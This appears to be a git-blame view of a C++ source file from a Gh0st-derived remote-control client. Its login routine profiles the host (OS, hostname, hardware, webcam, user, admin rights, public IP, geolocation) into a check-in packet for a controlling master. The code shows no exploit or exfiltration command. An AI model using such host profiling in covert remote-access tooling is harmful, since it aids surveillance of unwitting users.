2025-12-08 14:04:09 +01:00
|
|
|
|
#include "StdAfx.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
#include "LoginServer.h"
|
|
|
|
|
|
#include "Common.h"
|
2019-03-29 10:40:08 +08:00
|
|
|
|
#include <string>
|
2024-12-28 04:34:54 +08:00
|
|
|
|
#include <iostream>
|
|
|
|
|
|
#include <iomanip>
|
|
|
|
|
|
#include <ctime>
|
2025-03-15 04:35:53 +08:00
|
|
|
|
#include <NTSecAPI.h>
|
2025-04-28 16:08:16 +08:00
|
|
|
|
#include "common/skCrypter.h"
|
2025-06-18 04:22:48 +08:00
|
|
|
|
#include <common/iniFile.h>
|
2025-06-28 16:50:01 +08:00
|
|
|
|
#include <location.h>
|
2025-03-15 04:35:53 +08:00
|
|
|
|
|
|
|
|
|
|
// by ChatGPT
|
2025-10-15 04:32:59 +08:00
|
|
|
|
bool IsWindows11()
|
|
|
|
|
|
{
|
|
|
|
|
|
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
|
|
|
|
|
|
RTL_OSVERSIONINFOW rovi = { 0 };
|
|
|
|
|
|
rovi.dwOSVersionInfoSize = sizeof(rovi);
|
2025-03-15 04:35:53 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HMODULE hMod = GetModuleHandleW(L"ntdll.dll");
|
|
|
|
|
|
if (hMod) {
|
|
|
|
|
|
RtlGetVersionPtr rtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hMod, "RtlGetVersion");
|
|
|
|
|
|
if (rtlGetVersion) {
|
|
|
|
|
|
rtlGetVersion(&rovi);
|
|
|
|
|
|
return (rovi.dwMajorVersion == 10 && rovi.dwMinorVersion == 0 && rovi.dwBuildNumber >= 22000);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return false;
|
2025-03-15 04:35:53 +08:00
|
|
|
|
}
|
2019-03-29 10:40:08 +08:00
|
|
|
|
|
|
|
|
|
|
/************************************************************************
|
2025-10-15 04:32:59 +08:00
|
|
|
|
---------------------
|
2025-12-08 14:04:09 +01:00
|
|
|
|
作者:IT1995
|
|
|
|
|
|
来源:CSDN
|
|
|
|
|
|
原文:https://blog.csdn.net/qq78442761/article/details/64440535
|
|
|
|
|
|
版权声明:本文为博主原创文章,转载请附上博文链接!
|
|
|
|
|
|
修改说明:2019.3.29由袁沅祥修改
|
2019-03-29 10:40:08 +08:00
|
|
|
|
************************************************************************/
|
|
|
|
|
|
std::string getSystemName()
|
|
|
|
|
|
{
|
2025-12-08 14:04:09 +01:00
|
|
|
|
std::string vname("未知操作系统");
|
|
|
|
|
|
//先判断是否为win8.1或win10
|
2025-10-15 04:32:59 +08:00
|
|
|
|
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
|
|
|
|
|
|
HINSTANCE hinst = LoadLibrary("ntdll.dll");
|
|
|
|
|
|
if (hinst == NULL) {
|
|
|
|
|
|
return vname;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (IsWindows11()) {
|
|
|
|
|
|
vname = "Windows 11";
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return vname;
|
|
|
|
|
|
}
|
|
|
|
|
|
DWORD dwMajor, dwMinor, dwBuildNumber;
|
|
|
|
|
|
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
|
|
|
|
|
|
if (proc==NULL) {
|
|
|
|
|
|
return vname;
|
|
|
|
|
|
}
|
|
|
|
|
|
proc(&dwMajor, &dwMinor, &dwBuildNumber);
|
|
|
|
|
|
if (dwMajor == 6 && dwMinor == 3) { //win 8.1
|
|
|
|
|
|
vname = "Windows 8.1";
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return vname;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (dwMajor == 10 && dwMinor == 0) { //win 10
|
|
|
|
|
|
vname = "Windows 10";
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return vname;
|
|
|
|
|
|
}
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//下面不能判断Win Server,因为本人还未有这种系统的机子,暂时不给出
|
2019-03-29 10:40:08 +08:00
|
|
|
|
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//判断win8.1以下的版本
|
|
|
|
|
|
SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器
|
|
|
|
|
|
GetSystemInfo(&info); //调用GetSystemInfo函数填充结构
|
2025-10-15 04:32:59 +08:00
|
|
|
|
OSVERSIONINFOEX os;
|
|
|
|
|
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
|
|
|
|
|
if (GetVersionEx((OSVERSIONINFO *)&os)) {
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//下面根据版本信息判断操作系统名称
|
2025-10-15 04:32:59 +08:00
|
|
|
|
switch (os.dwMajorVersion) {
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//判断主版本号
|
2025-10-15 04:32:59 +08:00
|
|
|
|
case 4:
|
|
|
|
|
|
switch (os.dwMinorVersion) {
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//判断次版本号
|
2025-10-15 04:32:59 +08:00
|
|
|
|
case 0:
|
|
|
|
|
|
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
|
2025-12-08 14:04:09 +01:00
|
|
|
|
vname ="Windows NT 4.0"; //1996年7月发布
|
2025-10-15 04:32:59 +08:00
|
|
|
|
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
|
|
|
|
|
|
vname = "Windows 95";
|
|
|
|
|
|
break;
|
|
|
|
|
|
case 10:
|
|
|
|
|
|
vname ="Windows 98";
|
|
|
|
|
|
break;
|
|
|
|
|
|
case 90:
|
|
|
|
|
|
vname = "Windows Me";
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
case 5:
|
|
|
|
|
|
switch (os.dwMinorVersion) {
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//再比较dwMinorVersion的值
|
2025-10-15 04:32:59 +08:00
|
|
|
|
case 0:
|
2025-12-08 14:04:09 +01:00
|
|
|
|
vname = "Windows 2000"; //1999年12月发布
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 1:
|
2025-12-08 14:04:09 +01:00
|
|
|
|
vname = "Windows XP"; //2001年8月发布
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 2:
|
|
|
|
|
|
if (os.wProductType == VER_NT_WORKSTATION &&
|
|
|
|
|
|
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
|
|
|
|
|
|
vname = "Windows XP Professional x64 Edition";
|
|
|
|
|
|
else if (GetSystemMetrics(SM_SERVERR2) == 0)
|
2025-12-08 14:04:09 +01:00
|
|
|
|
vname = "Windows Server 2003"; //2003年3月发布
|
2025-10-15 04:32:59 +08:00
|
|
|
|
else if (GetSystemMetrics(SM_SERVERR2) != 0)
|
|
|
|
|
|
vname = "Windows Server 2003 R2";
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
case 6:
|
|
|
|
|
|
switch (os.dwMinorVersion) {
|
|
|
|
|
|
case 0:
|
|
|
|
|
|
if (os.wProductType == VER_NT_WORKSTATION)
|
|
|
|
|
|
vname = "Windows Vista";
|
|
|
|
|
|
else
|
2025-12-08 14:04:09 +01:00
|
|
|
|
vname = "Windows Server 2008"; //服务器版本
|
2025-10-15 04:32:59 +08:00
|
|
|
|
break;
|
|
|
|
|
|
case 1:
|
|
|
|
|
|
if (os.wProductType == VER_NT_WORKSTATION)
|
|
|
|
|
|
vname = "Windows 7";
|
|
|
|
|
|
else
|
|
|
|
|
|
vname = "Windows Server 2008 R2";
|
|
|
|
|
|
break;
|
|
|
|
|
|
case 2:
|
|
|
|
|
|
if (os.wProductType == VER_NT_WORKSTATION)
|
|
|
|
|
|
vname = "Windows 8";
|
|
|
|
|
|
else
|
|
|
|
|
|
vname = "Windows Server 2012";
|
|
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
break;
|
|
|
|
|
|
default:
|
2025-12-08 14:04:09 +01:00
|
|
|
|
vname = "未知操作系统";
|
2025-10-15 04:32:59 +08:00
|
|
|
|
}
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("此电脑的版本为:%s\n", vname.c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
} else
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("版本获取失败\n");
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return vname;
|
2019-03-29 10:40:08 +08:00
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string formatTime(const FILETIME& fileTime)
|
|
|
|
|
|
{
|
2025-12-08 14:04:09 +01:00
|
|
|
|
// 转换为 64 位时间
|
2025-10-15 04:32:59 +08:00
|
|
|
|
ULARGE_INTEGER ull;
|
|
|
|
|
|
ull.LowPart = fileTime.dwLowDateTime;
|
|
|
|
|
|
ull.HighPart = fileTime.dwHighDateTime;
|
2024-12-28 04:34:54 +08:00
|
|
|
|
|
2025-12-08 14:04:09 +01:00
|
|
|
|
// 转换为秒级时间戳
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::time_t startTime = static_cast<std::time_t>((ull.QuadPart / 10000000ULL) - 11644473600ULL);
|
2024-12-28 04:34:54 +08:00
|
|
|
|
|
2025-12-08 14:04:09 +01:00
|
|
|
|
// 格式化输出
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::tm* localTime = std::localtime(&startTime);
|
|
|
|
|
|
char buffer[100];
|
|
|
|
|
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", localTime);
|
|
|
|
|
|
return std::string(buffer);
|
2024-12-28 04:34:54 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string getProcessTime()
|
|
|
|
|
|
{
|
|
|
|
|
|
FILETIME creationTime, exitTime, kernelTime, userTime;
|
2024-12-28 04:34:54 +08:00
|
|
|
|
|
2025-12-08 14:04:09 +01:00
|
|
|
|
// 获取当前进程的时间信息
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (GetProcessTimes(GetCurrentProcess(), &creationTime, &exitTime, &kernelTime, &userTime)) {
|
|
|
|
|
|
return formatTime(creationTime);
|
|
|
|
|
|
}
|
|
|
|
|
|
std::time_t now = std::time(nullptr);
|
|
|
|
|
|
std::tm* t = std::localtime(&now);
|
|
|
|
|
|
char buffer[100];
|
|
|
|
|
|
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", t);
|
|
|
|
|
|
return buffer;
|
2024-12-28 04:34:54 +08:00
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
int getOSBits()
|
|
|
|
|
|
{
|
|
|
|
|
|
SYSTEM_INFO si;
|
|
|
|
|
|
GetNativeSystemInfo(&si);
|
2025-06-15 16:57:32 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
|
|
|
|
|
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) {
|
|
|
|
|
|
return 64;
|
|
|
|
|
|
} else {
|
|
|
|
|
|
return 32;
|
|
|
|
|
|
}
|
2025-06-15 16:57:32 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-12-08 14:04:09 +01:00
|
|
|
|
// 检查CPU核心数
|
2025-06-15 16:57:32 +08:00
|
|
|
|
// SYSTEM_INFO.dwNumberOfProcessors
|
|
|
|
|
|
int GetCPUCores()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
INT i = 0;
|
2025-06-15 16:57:32 +08:00
|
|
|
|
#ifdef _WIN64
|
2025-12-08 14:04:09 +01:00
|
|
|
|
// 在 x64 下,我们需要使用 `NtQuerySystemInformation`
|
2025-10-15 04:32:59 +08:00
|
|
|
|
SYSTEM_INFO sysInfo;
|
|
|
|
|
|
GetSystemInfo(&sysInfo);
|
2025-12-08 14:04:09 +01:00
|
|
|
|
i = sysInfo.dwNumberOfProcessors; // 获取 CPU 核心数
|
2025-06-15 16:57:32 +08:00
|
|
|
|
#else
|
2025-12-08 14:04:09 +01:00
|
|
|
|
_asm { // x64编译模式下不支持__asm的汇编嵌入
|
2025-10-15 04:32:59 +08:00
|
|
|
|
mov eax, dword ptr fs : [0x18] ; // TEB
|
|
|
|
|
|
mov eax, dword ptr ds : [eax + 0x30] ; // PEB
|
|
|
|
|
|
mov eax, dword ptr ds : [eax + 0x64] ;
|
|
|
|
|
|
mov i, eax;
|
|
|
|
|
|
}
|
2025-06-15 16:57:32 +08:00
|
|
|
|
#endif
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("此计算机CPU核心: %d\n", i);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return i;
|
2025-06-15 16:57:32 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
double GetMemorySizeGB()
|
|
|
|
|
|
{
|
|
|
|
|
|
_MEMORYSTATUSEX mst;
|
|
|
|
|
|
mst.dwLength = sizeof(mst);
|
|
|
|
|
|
GlobalMemoryStatusEx(&mst);
|
|
|
|
|
|
double GB = mst.ullTotalPhys / (1024.0 * 1024 * 1024);
|
2025-12-08 14:04:09 +01:00
|
|
|
|
Mprintf("此计算机内存: %fGB\n", GB);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return GB;
|
2025-06-15 16:57:32 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-07-27 20:10:15 +08:00
|
|
|
|
#pragma comment(lib, "Version.lib")
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string GetCurrentExeVersion()
|
|
|
|
|
|
{
|
|
|
|
|
|
TCHAR filePath[MAX_PATH];
|
|
|
|
|
|
if (GetModuleFileName(NULL, filePath, MAX_PATH) == 0) {
|
|
|
|
|
|
return "Unknown";
|
|
|
|
|
|
}
|
2025-07-27 20:10:15 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD handle = 0;
|
|
|
|
|
|
DWORD verSize = GetFileVersionInfoSize(filePath, &handle);
|
|
|
|
|
|
if (verSize == 0) {
|
|
|
|
|
|
return "Unknown";
|
|
|
|
|
|
}
|
2025-07-27 20:10:15 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::vector<BYTE> verData(verSize);
|
|
|
|
|
|
if (!GetFileVersionInfo(filePath, handle, verSize, verData.data())) {
|
|
|
|
|
|
return "Unknown";
|
|
|
|
|
|
}
|
2025-07-27 20:10:15 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
VS_FIXEDFILEINFO* pFileInfo = nullptr;
|
|
|
|
|
|
UINT len = 0;
|
|
|
|
|
|
if (!VerQueryValue(verData.data(), "\\", reinterpret_cast<LPVOID*>(&pFileInfo), &len)) {
|
|
|
|
|
|
return "Unknown";
|
|
|
|
|
|
}
|
2025-07-27 20:10:15 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (pFileInfo) {
|
|
|
|
|
|
DWORD major = HIWORD(pFileInfo->dwFileVersionMS);
|
|
|
|
|
|
DWORD minor = LOWORD(pFileInfo->dwFileVersionMS);
|
|
|
|
|
|
DWORD build = HIWORD(pFileInfo->dwFileVersionLS);
|
|
|
|
|
|
DWORD revision = LOWORD(pFileInfo->dwFileVersionLS);
|
2025-07-27 20:10:15 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::ostringstream oss;
|
|
|
|
|
|
oss << major << "." << minor << "." << build << "." << revision;
|
|
|
|
|
|
return "v" + oss.str();
|
|
|
|
|
|
}
|
2025-07-27 20:10:15 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return "Unknown";
|
2025-07-27 20:10:15 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-11-04 00:15:35 +08:00
|
|
|
|
|
2025-11-09 00:49:34 +08:00
|
|
|
|
std::string GetCurrentUserNameA()
|
|
|
|
|
|
{
|
|
|
|
|
|
char username[256];
|
|
|
|
|
|
DWORD size = sizeof(username);
|
2025-11-04 00:15:35 +08:00
|
|
|
|
|
2025-11-09 00:49:34 +08:00
|
|
|
|
if (GetUserNameA(username, &size)) {
|
|
|
|
|
|
return std::string(username);
|
|
|
|
|
|
} else {
|
|
|
|
|
|
return "Unknown";
|
|
|
|
|
|
}
|
2025-11-04 00:15:35 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2025-12-14 00:46:36 +01:00
|
|
|
|
#define XXH_INLINE_ALL
|
|
|
|
|
|
#include "server/2015Remote/xxhash.h"
|
|
|
|
|
|
// 基于客户端信息计算唯一ID: { IP, PC, OS, CPU, PATH }
|
|
|
|
|
|
uint64_t CalcalateID(const std::vector<std::string>& clientInfo) {
|
|
|
|
|
|
std::string s;
|
|
|
|
|
|
for (int i = 0; i < 5; i++) {
|
|
|
|
|
|
s += clientInfo[i] + "|";
|
|
|
|
|
|
}
|
|
|
|
|
|
s.erase(s.length()-1);
|
|
|
|
|
|
return XXH64(s.c_str(), s.length(), 0);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
2025-12-17 23:07:54 +01:00
|
|
|
|
iniFile cfg(CLIENT_PATH);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
LOGIN_INFOR LoginInfor;
|
2025-12-08 14:04:09 +01:00
|
|
|
|
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
|
|
|
|
|
|
//获得操作系统信息
|
2025-10-15 04:32:59 +08:00
|
|
|
|
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//获得PCName
|
2025-10-15 04:32:59 +08:00
|
|
|
|
char szPCName[MAX_PATH] = {0};
|
|
|
|
|
|
gethostname(szPCName, MAX_PATH);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
DWORD dwCPUMHz;
|
|
|
|
|
|
dwCPUMHz = CPUClockMHz();
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL bWebCamIsExist = WebCamIsExist();
|
2025-12-17 23:07:54 +01:00
|
|
|
|
std::string group = cfg.GetStr("settings", "group_name");
|
|
|
|
|
|
if (!group.empty())
|
|
|
|
|
|
strcpy_s(conn.szGroupName, group.c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (conn.szGroupName[0] == 0)
|
|
|
|
|
|
memcpy(LoginInfor.szPCName, szPCName, sizeof(LoginInfor.szPCName));
|
|
|
|
|
|
else
|
|
|
|
|
|
sprintf(LoginInfor.szPCName, "%s/%s", szPCName, conn.szGroupName);
|
|
|
|
|
|
LoginInfor.dwSpeed = dwSpeed;
|
|
|
|
|
|
LoginInfor.dwCPUMHz = dwCPUMHz;
|
|
|
|
|
|
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
|
|
|
|
|
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
2025-12-08 14:04:09 +01:00
|
|
|
|
LoginInfor.AddReserved(GetClientType(conn.ClientType())); // 类型
|
|
|
|
|
|
LoginInfor.AddReserved(getOSBits()); // 系统位数
|
|
|
|
|
|
LoginInfor.AddReserved(GetCPUCores()); // CPU核数
|
|
|
|
|
|
LoginInfor.AddReserved(GetMemorySizeGB()); // 系统内存
|
2025-10-15 04:32:59 +08:00
|
|
|
|
char buf[_MAX_PATH] = {};
|
|
|
|
|
|
GetModuleFileNameA(NULL, buf, sizeof(buf));
|
2025-12-08 14:04:09 +01:00
|
|
|
|
LoginInfor.AddReserved(buf); // 文件路径
|
2025-10-15 04:32:59 +08:00
|
|
|
|
LoginInfor.AddReserved("?"); // test
|
|
|
|
|
|
std::string installTime = cfg.GetStr("settings", "install_time");
|
|
|
|
|
|
if (installTime.empty()) {
|
|
|
|
|
|
installTime = ToPekingTimeAsString(nullptr);
|
|
|
|
|
|
cfg.SetStr("settings", "install_time", installTime);
|
|
|
|
|
|
}
|
2025-12-08 14:04:09 +01:00
|
|
|
|
LoginInfor.AddReserved(installTime.c_str()); // 安装时间
|
|
|
|
|
|
LoginInfor.AddReserved("?"); // 安装信息
|
|
|
|
|
|
LoginInfor.AddReserved(sizeof(void*)==4 ? 32 : 64); // 程序位数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string str;
|
|
|
|
|
|
std::string masterHash(skCrypt(MASTER_HASH));
|
|
|
|
|
|
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
|
|
|
|
|
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
2025-06-28 04:03:06 +08:00
|
|
|
|
#ifndef _DEBUG
|
2025-10-15 04:32:59 +08:00
|
|
|
|
if (hMutex != NULL) {
|
2025-06-28 04:03:06 +08:00
|
|
|
|
#else
|
2025-10-15 04:32:59 +08:00
|
|
|
|
{
|
2025-06-28 04:03:06 +08:00
|
|
|
|
#endif
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CloseHandle(hMutex);
|
|
|
|
|
|
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
|
|
|
|
|
|
str = cfg->GetStr("settings", "Password", "");
|
|
|
|
|
|
delete cfg;
|
|
|
|
|
|
str.erase(std::remove(str.begin(), str.end(), ' '), str.end());
|
|
|
|
|
|
auto list = StringToVector(str, '-', 3);
|
|
|
|
|
|
str = list[1].empty() ? "Unknown" : list[1];
|
|
|
|
|
|
}
|
2025-12-08 14:04:09 +01:00
|
|
|
|
LoginInfor.AddReserved(str.c_str()); // 授权信息
|
2025-10-15 04:32:59 +08:00
|
|
|
|
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
|
|
|
|
|
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
|
|
|
|
|
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
|
|
|
|
|
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
|
|
|
|
|
std::string loc = cfg.GetStr("settings", "location", "");
|
|
|
|
|
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
|
|
|
|
|
auto ip_time = cfg.GetInt("settings", "ip_time");
|
|
|
|
|
|
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
|
|
|
|
|
IPConverter cvt;
|
|
|
|
|
|
if (loc.empty() || pubIP.empty() || timeout) {
|
|
|
|
|
|
pubIP = cvt.getPublicIP();
|
|
|
|
|
|
loc = cvt.GetGeoLocation(pubIP);
|
|
|
|
|
|
cfg.SetStr("settings", "location", loc);
|
|
|
|
|
|
cfg.SetStr("settings", "public_ip", pubIP);
|
|
|
|
|
|
cfg.SetInt("settings", "ip_time", time(0));
|
|
|
|
|
|
}
|
|
|
|
|
|
LoginInfor.AddReserved(loc.c_str());
|
|
|
|
|
|
LoginInfor.AddReserved(pubIP.c_str());
|
|
|
|
|
|
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
2025-11-04 00:15:35 +08:00
|
|
|
|
BOOL IsRunningAsAdmin();
|
|
|
|
|
|
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
|
|
|
|
|
LoginInfor.AddReserved(IsRunningAsAdmin());
|
2025-12-14 00:46:36 +01:00
|
|
|
|
char cpuInfo[32];
|
|
|
|
|
|
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
|
|
|
|
|
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
|
|
|
|
|
Mprintf("此客户端的唯一标识为: %s\n", std::to_string(conn.clientID).c_str());
|
2025-10-15 04:32:59 +08:00
|
|
|
|
return LoginInfor;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DWORD CPUClockMHz()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
HKEY hKey;
|
|
|
|
|
|
DWORD dwCPUMHz;
|
|
|
|
|
|
DWORD dwReturn = sizeof(DWORD);
|
|
|
|
|
|
DWORD dwType = REG_DWORD;
|
|
|
|
|
|
RegOpenKey(HKEY_LOCAL_MACHINE,
|
|
|
|
|
|
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
|
|
|
|
|
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
|
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
|
|
return dwCPUMHz;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
BOOL WebCamIsExist()
|
|
|
|
|
|
{
|
2025-10-15 04:32:59 +08:00
|
|
|
|
BOOL bOk = FALSE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
char szDeviceName[100], szVer[50];
|
|
|
|
|
|
for (int i = 0; i < 10 && !bOk; ++i) {
|
|
|
|
|
|
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
2025-12-08 14:04:09 +01:00
|
|
|
|
//系统的API函数
|
2025-10-15 04:32:59 +08:00
|
|
|
|
szVer, sizeof(szVer));
|
|
|
|
|
|
}
|
|
|
|
|
|
return bOk;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|